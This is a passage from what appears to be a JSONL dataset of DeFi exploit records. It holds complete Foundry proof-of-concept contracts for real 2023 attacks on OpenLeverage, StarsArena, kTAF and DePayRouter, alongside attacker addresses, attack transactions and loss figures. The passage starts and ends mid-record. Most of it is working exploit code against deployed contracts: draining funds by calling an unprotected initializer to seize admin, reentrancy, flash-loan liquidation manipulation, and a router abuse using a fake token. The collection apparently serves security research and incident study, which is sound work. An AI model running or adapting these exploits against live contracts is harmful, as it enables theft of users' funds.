"https://arbiscan.io/tx/0x57c96e320a3b885fabd95dd476d43c0d0fb10500d940d9594d4a458471a87abe", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~$175K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(this), 0 ether);\n USDT.approve(address(SushiRouter), type(uint256).max);\n USDCe.approve(address(SushiRouter), type(uint256).max);\n\n address[] memory tokens = new address[](2);\n tokens[0] = address(USDT);\n tokens[1] = address(USDCe);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = USDCe.balanceOf(address(USDC_LP)) * 2;\n amounts[1] = USDT.balanceOf(address(USDT_LP)) * 3;\n\n Vault.flashLoan(address(this), tokens, amounts, abi.encode(1));\n swapTokensSushi(USDT, USDT.balanceOf(address(this)));\n swapTokensSushi(USDCe, USDCe.balanceOf(address(this)));\n\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$175K", "keyinfo_attacker": "https://arbiscan.io/address/0x4843e00ef4c9f9f6e6ae8d7b0a787f1c60050b01", "keyinfo_attack_contract": "https://arbiscan.io/address/0x9e8675365366559053f964be5838d5fca008722c", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0x15a024061c151045ba483e9243291dee6ee5fd8a", "keyinfo_attack_tx": "https://arbiscan.io/tx/0x57c96e320a3b885fabd95dd476d43c0d0fb10500d940d9594d4a458471a87abe", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$175.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "BelugaDex Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$8K\n// Attacker : https://bscscan.com/address/0x8ebd046992afe07eacce6b9b3878fdb45830f42b\n// Attack Contract : https://bscscan.com/address/0x5366c6ba729d9cf8d472500afc1a2976ac2fe9ff\n// Vuln Contract : https://bscscan.com/address/0x7bacb1c805cbbf7c4f74556a4b34fde7793d0887\n// Attack Tx : https://bscscan.com/tx/0xd88f26f2f9145fa413db0cfd5d3eb121e3a50a3fdcee16c9bd4731e68332ce4b\n\n// @Analysis\n// https://defimon.xyz/exploit/bsc/0x5366c6ba729d9cf8d472500afc1a2976ac2fe9ff\n\ninterface IRewardVaultDelegator {\n function initialize(address bnftRegistry, address vrfCoordinator, uint64 subscriptionId) external;\n\n function setImplementation(\n address implementation\n ) external;\n\n function admin() external view returns (address);\n\n function a(\n address addr\n ) external;\n}\n\ncontract ContractTest is Test {\n IRewardVaultDelegator private constant RewardVaultDelegator =\n IRewardVaultDelegator(0x7bACB1c805CbbF7c4f74556a4B34FDE7793d0887);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IERC20 private constant RACA = IERC20(0x12BB890508c125661E03b09EC06E404bc9289040);\n IERC20 private constant BUSDT = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IERC20 private constant FLOKI = IERC20(0xfb5B838b6cfEEdC2873aB27866079AC55363D37E);\n IERC20 private constant OLE = IERC20(0xa865197A84E780957422237B5D152772654341F3);\n IERC20 private constant CSIX = IERC20(0x04756126F044634C9a0f0E985e60c88a51ACC206);\n IERC20 private constant BABY = IERC20(0x53E562b9B7E5E94b81f10e96Ee70Ad06df3D2657);\n address private constant openLeverageDeployer = 0xE9547CF7E592F83C5141bB50648317e35D27D29B;\n address private constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 32_820_951);\n vm.label(address(RewardVaultDelegator), \"RewardVaultDelegator\");\n vm.label(address(Router), \"Router\");\n vm.label(address(RACA), \"RACA\");\n vm.label(address(BUSDT), \"BUSDT\");\n vm.label(address(FLOKI), \"FLOKI\");\n vm.label(address(OLE), \"OLE\");\n vm.label(address(CSIX), \"CSIX\");\n vm.label(address(BABY), \"BABY\");\n vm.label(openLeverageDeployer, \"openLeverageDeployer\");\n vm.label(WBNB, \"WBNB\");\n }\n\n function testExploit() public {\n deal(address(this), 0 ether);\n emit log_named_decimal_uint(\"Attacker BNB balance before exploit\", address(this).balance, 18);\n\n assertEq(openLeverageDeployer, RewardVaultDelegator.admin());\n emit log_named_address(\"Original admin address (Open Leverage Deployer)\", RewardVaultDelegator.admin());\n\n // Valid initialize function should have implemented check which restrict function to be called only once\n // 'initialize()' sets admin variable in RewardVaultDelegator contract\n RewardVaultDelegator.initialize(address(this), address(this), uint64(1));\n\n assertEq(address(this), RewardVaultDelegator.admin());\n emit log_named_address(\n \"Admin address after calling initialize func (admin change)\", RewardVaultDelegator.admin()\n );\n\n // setImplementation func have 'onlyAdmin' modifier and at this step attacker can bypass this check\n RewardVaultDelegator.setImplementation(address(this));\n\n // Calling 'a' will make delegatecall to this contract (implementation contract)\n RewardVaultDelegator.a(address(this));\n\n emit log_named_decimal_uint(\"Attacker BNB balance after exploit\", address(this).balance, 18);\n }\n\n function transferFromAndSwapTokensToBNB(address from, address token, address to) internal {\n IERC20(token).approve(address(Router), type(uint256).max);\n\n if (from != address(0)) {\n uint256 transferAmount = IERC20(token).balanceOf(from);\n uint256 allowance = IERC20(token).allowance(from, address(RewardVaultDelegator));\n if (allowance < transferAmount) {\n transferAmount = allowance;\n }\n\n IERC20(token).transferFrom(from, address(this), transferAmount);\n }\n\n address[] memory path = new address[](2);\n path[0] = token;\n path[1] = WBNB;\n Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n IERC20(token).balanceOf(address(this)), 0, path, to, block.timestamp + 1000\n );\n }\n\n function a(\n address addr\n ) external {\n address[] memory victims = new address[](6);\n address[] memory tokens = new address[](6);\n\n victims[0] = 0x2aB372EFd0eE550c1cca6459DDCD45Ba783B242B;\n victims[1] = 0xe83c6E8FeeDDE85E72E810f82ee0943aa14Ed2f6;\n victims[2] = 0x0D413496d1cb149B1526609363359ED398741901;\n victims[3] = 0x3BD0FeC7243B1ba658FAF4bC22663b5AdC04CF04;\n victims[4] = 0x2C8EEDA98a84a393e2DB66B013A0cDCA2F3693f2;\n victims[5] = address(0);\n\n tokens[0] = address(RACA);\n tokens[1] = address(BUSDT);\n tokens[2] = address(FLOKI);\n tokens[3] = address(OLE);\n tokens[4] = address(CSIX);\n tokens[5] = address(BABY);\n\n for (uint8 i; i < victims.length; ++i) {\n transferFromAndSwapTokensToBNB(victims[i], tokens[i], addr);\n }\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "OpenLeverage", "date": "2023-10", "file_name": "OpenLeverage_exp.sol", "attack_vector": null, "content_hash": "adfc6b6b0df43d03", "collected_at": "2026-01-07T10:59:16.542977", "_source": "postmortems", "chain": "bsc", "block_number": 32820951, "total_lost_raw": "~$8K", "total_lost_usd": 8000.0, "attacker_address": "https://bscscan.com/address/0x8ebd046992afe07eacce6b9b3878fdb45830f42b", "attack_contract": "https://bscscan.com/address/0x5366c6ba729d9cf8d472500afc1a2976ac2fe9ff", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0xd88f26f2f9145fa413db0cfd5d3eb121e3a50a3fdcee16c9bd4731e68332ce4b", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~$8K", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(this), 0 ether);\n emit log_named_decimal_uint(\"Attacker BNB balance before exploit\", address(this).balance, 18);\n\n assertEq(openLeverageDeployer, RewardVaultDelegator.admin());\n emit log_named_address(\"Original admin address (Open Leverage Deployer)\", RewardVaultDelegator.admin());\n\n // Valid initialize function should have implemented check which restrict function to be called only once\n // 'initialize()' sets admin variable in RewardVaultDelegator contract\n RewardVaultDelegator.initialize(address(this), address(this), uint64(1));\n\n assertEq(address(this), RewardVaultDelegator.admin());\n emit log_named_address(\n \"Admin address after calling initialize func (admin change)\", RewardVaultDelegator.admin()\n );\n\n // setImplementation func have 'onlyAdmin' modifier and at this step attacker can bypass this check\n RewardVaultDelegator.setImplementation(address(this));\n\n // Calling 'a' will make delegatecall to this contract (implementation contract)\n RewardVaultDelegator.a(address(this));\n\n emit log_named_decimal_uint(\"Attacker BNB balance after exploit\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$8K", "keyinfo_attacker": "https://bscscan.com/address/0x8ebd046992afe07eacce6b9b3878fdb45830f42b", "keyinfo_attack_contract": "https://bscscan.com/address/0x5366c6ba729d9cf8d472500afc1a2976ac2fe9ff", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0xd88f26f2f9145fa413db0cfd5d3eb121e3a50a3fdcee16c9bd4731e68332ce4b", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$8.0K", "content_richness_score": 7.73, "quality_estimate": "medium", "title": "OpenLeverage Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~3M$\n// Attacker : https://snowtrace.io/address/0xa2ebf3fcd757e9be1e58b643b6b5077d11b4ad7a\n// Attack Contract : https://snowtrace.io/address/0x7f283edc5ec7163de234e6a97fdfb16ff2d2c7ac\n// Victim Contract : https://snowtrace.io/address/0xa481b139a1a654ca19d2074f174f17d7534e8cec\n// Attack Tx : https://snowtrace.io/tx/0x4f37ffecdad598f53b8d5a2d9df98e3c00fbda4328585eb9947a412b5fe17ac5\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1710556926986342911\n// https://twitter.com/Phalcon_xyz/status/1710554341466395065\n// https://twitter.com/peckshield/status/1710555944269292009\n\ncontract ContractTest is Test {\n address private constant victimContract = 0xA481B139a1A654cA19d2074F174f17D7534e8CeC;\n bool private reenter = true;\n\n function setUp() public {\n vm.createSelectFork(\"avalanche\", 36_136_405);\n }\n\n function testExploit() public {\n deal(address(this), 1 ether);\n\n emit log_named_decimal_uint(\"Attacker AVAX balance before exploit\", address(this).balance, 18);\n\n (bool success,) = victimContract.call{value: 1 ether}(\n abi.encodeWithSelector(bytes4(0xe9ccf3a3), address(this), true, address(this))\n );\n require(success, \"Call to function with selector 0xe9ccf3a3 fail\");\n\n (bool success2,) = victimContract.call(abi.encodeWithSignature(\"sellShares(address,uint256)\", address(this), 1));\n require(success2, \"Call to sellShares() fail\");\n\n emit log_named_decimal_uint(\"Attacker AVAX balance after exploit\", address(this).balance, 18);\n }\n\n receive() external payable {\n if (reenter == true) {\n (bool success,) = victimContract.call(abi.encodeWithSelector(bytes4(0x5632b2e4), 91e9, 91e9, 91e9, 91e9));\n require(success, \"Call to function with selector 0x5632b2e4 fail\");\n reenter = false;\n }\n }\n}\n", "type": "exploit_poc", "protocol": "StarsArena", "date": "2023-10", "file_name": "StarsArena_exp.sol", "attack_vector": "reentrancy", "content_hash": "1b97c50377124727", "collected_at": "2026-01-07T10:59:16.543031", "_source": "postmortems", "chain": "avalanche", "block_number": 36136405, "total_lost_raw": "~3M$", "total_lost_usd": 3000000.0, "attacker_address": "https://snowtrace.io/address/0xa2ebf3fcd757e9be1e58b643b6b5077d11b4ad7a", "attack_contract": "https://snowtrace.io/address/0x7f283edc5ec7163de234e6a97fdfb16ff2d2c7ac", "vulnerable_contract": null, "attack_tx": "https://snowtrace.io/tx/0x4f37ffecdad598f53b8d5a2d9df98e3c00fbda4328585eb9947a412b5fe17ac5", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~3M$", "category": "reentrancy", "exploit_code": "function testExploit() public {\n deal(address(this), 1 ether);\n\n emit log_named_decimal_uint(\"Attacker AVAX balance before exploit\", address(this).balance, 18);\n\n (bool success,) = victimContract.call{value: 1 ether}(\n abi.encodeWithSelector(bytes4(0xe9ccf3a3), address(this), true, address(this))\n );\n require(success, \"Call to function with selector 0xe9ccf3a3 fail\");\n\n (bool success2,) = victimContract.call(abi.encodeWithSignature(\"sellShares(address,uint256)\", address(this), 1));\n require(success2, \"Call to sellShares() fail\");\n\n emit log_named_decimal_uint(\"Attacker AVAX balance after exploit\", address(this).balance, 18);\n }\n\n receive() external payable {\n if (reenter == true) {\n (bool success,) = victimContract.call(abi.encodeWithSelector(bytes4(0x5632b2e4), 91e9, 91e9, 91e9, 91e9));\n require(success, \"Call to function with selector 0x5632b2e4 fail\");\n reenter = false;\n }\n }", "has_exploit_code": true, "keyinfo_total_lost": "~3M$", "keyinfo_attacker": "https://snowtrace.io/address/0xa2ebf3fcd757e9be1e58b643b6b5077d11b4ad7a", "keyinfo_attack_contract": "https://snowtrace.io/address/0x7f283edc5ec7163de234e6a97fdfb16ff2d2c7ac", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://snowtrace.io/tx/0x4f37ffecdad598f53b8d5a2d9df98e3c00fbda4328585eb9947a412b5fe17ac5", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$3.00M", "content_richness_score": 7.0, "quality_estimate": "medium", "title": "StarsArena Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$8K\n// Attacker : https://etherscan.io/address/0x9b99d7ce9e39c68ab93348fd31fd4c99f79e4b19\n// Attack Contract : https://etherscan.io/address/0xa6d35c97bd00b99a962393408aaa9eb275a45c5e\n// Vuln Contract : https://etherscan.io/address/0xf5140fc35c6f94d02d7466f793feb0216082d7e5\n// Attack Tx : https://etherscan.io/tx/0x325999373f1aae98db2d89662ff1afbe0c842736f7564d16a7b52bf5c777d3a4\n\n// @Analysis\n// https://defimon.xyz/attack/mainnet/0x325999373f1aae98db2d89662ff1afbe0c842736f7564d16a7b52bf5c777d3a4\n\ninterface ICErc20Immutable {\n function borrow(\n uint256 borrowAmount\n ) external returns (uint256);\n\n function borrowBalanceStored(\n address account\n ) external view returns (uint256);\n\n function liquidateBorrow(\n address borrower,\n uint256 repayAmount,\n address cTokenCollateral\n ) external returns (uint256);\n}\n\ninterface IComptroller {\n function liquidateCalculateSeizeTokens(\n address cTokenBorrowed,\n address cTokenCollateral,\n uint256 actualRepayAmount\n ) external view returns (uint256, uint256);\n\n function enterMarkets(\n address[] memory cTokens\n ) external returns (uint256[] memory);\n}\n\ncontract ContractTest is Test {\n IBalancerVault private constant Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 private constant TAF = IERC20(0xf573E6740045b5387F6d36a26B102C2adF639af5);\n ICErc20Delegate private constant kTAF = ICErc20Delegate(payable(0xf5140fC35C6f94D02d7466f793fEB0216082d7E5));\n ICErc20Immutable private constant kDAI = ICErc20Immutable(0xE5C6c14F466A4F3A73eCEc7F3aAaA15c5EcBc769);\n IComptroller private constant Unitroller = IComptroller(0x959Fb43EF08F415da0AeA39BEEf92D96f41E41b3);\n address private constant borrower = 0x3cF7e9d9dCfeD77f295CF7A7F5539eC407D9a67d;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_385_885);\n vm.label(address(Vault), \"Vault\");\n vm.label(address(DAI), \"DAI\");\n vm.label(address(kTAF), \"kTAF\");\n vm.label(address(kDAI), \"kDAI\");\n vm.label(address(Unitroller), \"Unitroller\");\n vm.label(borrower, \"borrower\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Attacker DAI balance before exploit\", DAI.balanceOf(address(this)), DAI.decimals());\n\n emit log_named_decimal_uint(\"Attacker TAF balance before exploit\", TAF.balanceOf(address(this)), TAF.decimals());\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(DAI);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 4000 * 1e18;\n Vault.flashLoan(address(this), tokens, amounts, bytes(\"\"));\n\n emit log_named_decimal_uint(\"Attacker DAI balance after exploit\", DAI.balanceOf(address(this)), DAI.decimals());\n\n emit log_named_decimal_uint(\"Attacker TAF balance after exploit\", TAF.balanceOf(address(this)), TAF.decimals());\n }\n\n function receiveFlashLoan(\n address[] calldata tokens,\n uint256[] calldata amounts,\n uint256[] calldata feeAmounts,\n bytes calldata userData\n ) external {\n DAI.approve(address(kDAI), type(uint256).max);\n\n while (true) {\n uint256 repayAmount = kDAI.borrowBalanceStored(borrower) / 10;\n (, uint256 numCtokenCollateral) =\n Unitroller.liquidateCalculateSeizeTokens(address(kDAI), address(kTAF), repayAmount);\n\n if (numCtokenCollateral <= kTAF.balanceOf(borrower)) {\n kDAI.liquidateBorrow(borrower, repayAmount, address(kTAF));\n } else {\n repayAmount =\n ((kDAI.borrowBalanceStored(borrower) / 10) * kTAF.balanceOf(borrower)) / numCtokenCollateral;\n kDAI.liquidateBorrow(borrower, repayAmount, address(kTAF));\n\n while (DAI.balanceOf(address(kDAI)) > 1) {\n kTAF.redeem(kTAF.balanceOf(address(this)));\n ExploitHelper helper = new ExploitHelper();\n TAF.transfer(address(helper), TAF.balanceOf(address(this)));\n\n helper.start();\n kDAI.liquidateBorrow(address(helper), 1, address(kTAF));\n kTAF.redeem(1);\n }\n DAI.transfer(address(Vault), amounts[0]);\n break;\n }\n }\n }\n}\n\ncontract ExploitHelper {\n ICErc20Immutable private constant kDAI = ICErc20Immutable(0xE5C6c14F466A4F3A73eCEc7F3aAaA15c5EcBc769);\n ICErc20Delegate private constant kTAF = ICErc20Delegate(payable(0xf5140fC35C6f94D02d7466f793fEB0216082d7E5));\n IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 private constant TAF = IERC20(0xf573E6740045b5387F6d36a26B102C2adF639af5);\n IComptroller private constant Unitroller = IComptroller(0x959Fb43EF08F415da0AeA39BEEf92D96f41E41b3);\n\n function start() external {\n address[] memory cTokens = new address[](1);\n cTokens[0] = address(kTAF);\n Unitroller.enterMarkets(cTokens);\n\n TAF.transfer(address(kTAF), 1);\n TAF.approve(address(kTAF), type(uint256).max);\n uint256 amountTAF = TAF.balanceOf(address(this));\n kTAF.mint(TAF.balanceOf(address(this)));\n kTAF.redeem(kTAF.balanceOf(address(this)) - 2);\n TAF.transfer(address(kTAF), TAF.balanceOf(address(this)));\n\n uint256 amountDAI = DAI.balanceOf(address(kDAI));\n if (amountDAI > 1320 * 1e18) {\n amountDAI = 1320 * 1e18;\n }\n kDAI.borrow(amountDAI);\n\n kTAF.redeemUnderlying(amountTAF);\n\n DAI.transfer(msg.sender, amountDAI);\n TAF.transfer(msg.sender, amountTAF);\n }\n}\n", "type": "exploit_poc", "protocol": "kTAF", "date": "2023-10", "file_name": "kTAF_exp.sol", "attack_vector": "flash_loan", "content_hash": "898bc133358c1a20", "collected_at": "2026-01-07T10:59:16.543074", "_source": "postmortems", "chain": "ethereum", "block_number": 18385885, "total_lost_raw": "~$8K", "total_lost_usd": 8000.0, "attacker_address": "https://etherscan.io/address/0x9b99d7ce9e39c68ab93348fd31fd4c99f79e4b19", "attack_contract": "https://etherscan.io/address/0xa6d35c97bd00b99a962393408aaa9eb275a45c5e", "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x325999373f1aae98db2d89662ff1afbe0c842736f7564d16a7b52bf5c777d3a4", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~$8K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Attacker DAI balance before exploit\", DAI.balanceOf(address(this)), DAI.decimals());\n\n emit log_named_decimal_uint(\"Attacker TAF balance before exploit\", TAF.balanceOf(address(this)), TAF.decimals());\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(DAI);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 4000 * 1e18;\n Vault.flashLoan(address(this), tokens, amounts, bytes(\"\"));\n\n emit log_named_decimal_uint(\"Attacker DAI balance after exploit\", DAI.balanceOf(address(this)), DAI.decimals());\n\n emit log_named_decimal_uint(\"Attacker TAF balance after exploit\", TAF.balanceOf(address(this)), TAF.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$8K", "keyinfo_attacker": "https://etherscan.io/address/0x9b99d7ce9e39c68ab93348fd31fd4c99f79e4b19", "keyinfo_attack_contract": "https://etherscan.io/address/0xa6d35c97bd00b99a962393408aaa9eb275a45c5e", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0x325999373f1aae98db2d89662ff1afbe0c842736f7564d16a7b52bf5c777d3a4", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$8.0K", "content_richness_score": 8.97, "quality_estimate": "high", "title": "kTAF Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~827 USDC\n// Attacker : https://etherscan.io/address/0x7f284235aef122215c46656163f39212ffa77ed9\n// Attack Contract :https://etherscan.io/address/0xba2aa7426ec6529c25a38679478645b2db5fa19b\n// Vulnerable Contract : https://etherscan.io/address/0xae60ac8e69414c2dc362d0e6a03af643d1d85b92\n// Attack Tx : https://etherscan.io/tx/0x9a036058afb58169bfa91a826f5fcf4c0a376e650960669361d61bef99205f35\n\n// @Analysis\n// Twitter Guy : https://twitter.com/CertiKAlert/status/1709764146324009268\n\ninterface IDepayRouterV1 {\n function route(\n // The path of the token conversion.\n address[] calldata path,\n // Amounts passed to processors:\n // e.g. [amountIn, amountOut, deadline]\n uint256[] calldata amounts,\n // Addresses passed to plugins:\n // e.g. [receiver]\n address[] calldata addresses,\n // List and order of plugins to be executed for this payment:\n // e.g. [Uniswap,paymentPlugin] to swap and pay\n address[] calldata plugins,\n // Data passed to plugins:\n // e.g. [\"signatureOfSmartContractFunction(address,uint)\"] receiving the payment\n string[] calldata data\n ) external payable returns (bool);\n}\n\ncontract ContractTest is Test {\n IUSDC USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IUniswapV2Pair UNIV2 = IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);\n IUniswapV2Router UniRouter = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n IDepayRouterV1 DepayRouter = IDepayRouterV1(0xae60aC8e69414C2Dc362D0e6a03af643d1D85b92);\n IUniswapV2Factory UniFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);\n uint256 amount = 1_755_923_836;\n address DePayUniV1 = 0xe04b08Dfc6CaA0F4Ec523a3Ae283Ece7efE00019;\n\n function conAddress(address address1, address address2) public pure returns (bytes memory) {\n bytes32 concatenated;\n assembly {\n mstore(concatenated, address1)\n mstore(add(concatenated, 0x14), address2)\n }\n return abi.encodePacked(concatenated);\n }\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_281_130 - 1);\n vm.label(address(USDC), \"USDC\");\n vm.label(address(UNIV2), \"UNIV2: USDC\");\n vm.label(address(UniRouter), \"UniRouter\");\n vm.label(address(UniFactory), \"UniFactory\");\n vm.label(address(DepayRouter), \"DepayRouter\");\n approveAll();\n }\n\n function testExploit() external {\n uint256 startUSDC = USDC.balanceOf(address(this));\n console.log(\"Before Start: %d USDC\", startUSDC);\n UNIV2.swap(amount, 0, address(this), conAddress(address(USDC), address(DepayRouter)));\n\n uint256 intExp = USDC.balanceOf(address(this)) / 1e6;\n uint256 decExp = USDC.balanceOf(address(this)) - intExp * 1e6;\n console.log(\"Attack Exploit: %s.%s USDC\", intExp, decExp);\n }\n\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n uint256 amountAMin = 877_961_918;\n ERC20ops();\n uint256 amountA;\n uint256 amountB;\n uint256 liquidity;\n (amountA, amountB, liquidity) =\n UniRouter.addLiquidity(sender, address(USDC), 1e30, 1, amountAMin, 1, address(this), type(uint256).max);\n IUniswapV2Pair newUniPair = IUniswapV2Pair(UniFactory.getPair(address(this), address(USDC)));\n\n address[] memory path = new address[](2);\n (path[0], path[1]) = (address(USDC), address(this));\n uint256[] memory amounts = new uint256[](3);\n (amounts[0], amounts[1], amounts[2]) = (amountAMin, 0, type(uint256).max);\n address[] memory addresses = new address[](2);\n (addresses[0], addresses[1]) = (address(this), address(this));\n address[] memory plugins = new address[](2);\n (plugins[0], plugins[1]) = (DePayUniV1, DePayUniV1);\n string[] memory data = new string[](1);\n DepayRouter.route(path, amounts, addresses, plugins, data);\n\n newUniPair.approve(address(UniRouter), liquidity);\n UniRouter.removeLiquidity(address(this), address(USDC), liquidity, 1, 1, address(this), type(uint256).max);\n\n USDC.transfer(address(UNIV2), amount * 1001 / 997);\n }\n\n function approveAll() internal {\n USDC.approve(address(UniRouter), type(uint256).max);\n USDC.approve(address(DepayRouter), type(uint256).max);\n }\n\n function ERC20ops() internal {\n balances[address(this)] = 1e30 + 1;\n }\n\n mapping(address => uint256) public balances;\n\n function balanceOf(\n address account\n ) public view virtual returns (uint256) {\n return balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n _transfer(msg.sender, to, value);\n return true;\n }\n\n function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {\n _transfer(from, to, value);\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n balances[from] -= value;\n balances[to] += value;\n }\n}\n", "type": "exploit_poc", "protocol": "DePayRouter", "date": "2023-10", "file_name": "DePayRouter_exp.sol", "attack_vector": null, "content_hash": "f9844bf5a60e8740", "collected_at": "2026-01-07T10:59:16.543142", "_source": "postmortems", "chain": "ethereum", "block_number": 18281130, "total_lost_raw": "~827 USDC", "total_lost_usd": 827.0, "attacker_address": "https://etherscan.io/address/0x7f284235aef122215c46656163f39212ffa77ed9", "attack_contract": "https://etherscan.io/address/0xba2aa7426ec6529c25a38679478645b2db5fa19b", "vulnerable_contract": "https://etherscan.io/address/0xae60ac8e69414c2dc362d0e6a03af643d1d85b92", "attack_tx": "https://etherscan.io/tx/0x9a036058afb58169bfa91a826f5fcf4c0a376e650960669361d61bef99205f35", "postmortem_url": null, "twitter_url": "https://twitter.com/CertiKAlert/status/1709764146324009268", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~827 USDC", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~827 USDC", "keyinfo_attacker": "https://etherscan.io/address/0x7f284235aef122215c46656163f39212ffa77ed9", "keyinfo_attack_contract": "https://etherscan.io/address/0xba2aa7426ec6529c25a38679478645b2db5fa19b", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xae60ac8e69414c2dc362d0e6a03af643d1d85b92", "keyinfo_attack_tx": "https://etherscan.io/tx/0x9a036058afb58169bfa91a826f5fcf4c0a376e650960669361d61bef99205f35", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/CertiKAlert/status/1709764146324009268", "funds_lost_formatted": "$827", "content_richness_score": 6.66, "quality_estimate": "medium", "title": "DePayRouter Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~228591 USD$\n// Attacker : https://etherscan.io/address/0x792ec27874e1f614e757a1ae49d00ef5b2c73959\n// Attack Contract : https://etherscan.io/address/0xb2e855411f67378c08f47401eacff37461e16188\n// Vulnerable Contract : https://etherscan.io/address/0xbAa87546cF87b5De1b0b52353A86792D40b8BA70\n// Attack Tx : https://etherscan.io/tx/0x8af9b5fb3e2e3df8659ffb2e0f0c1f4c90d5a80f4f6fccef143b823ce673fb60\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1718454835966775325\ncontract MyERC20 {\n uint256 public totalSupply;\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n uint8 public decimals = 18;\n address public stakedTokenAddr;\n uint256 public scaledBalanceToBal;\n\n constructor(address _stakedTokenAddress, uint256 bal) public {\n stakedTokenAddr = _stakedTokenAddress;\n scaledBalanceToBal = bal;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {\n allowance[sender][msg.sender] -= amount;\n balanceOf[sender] -= amount;\n balanceOf[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function mint(\n uint256 amount\n ) external {\n balanceOf[msg.sender] += amount;\n totalSupply += amount;\n emit Transfer(address(0), msg.sender, amount);\n }\n\n function burn(address sender, uint256 amount) external {\n 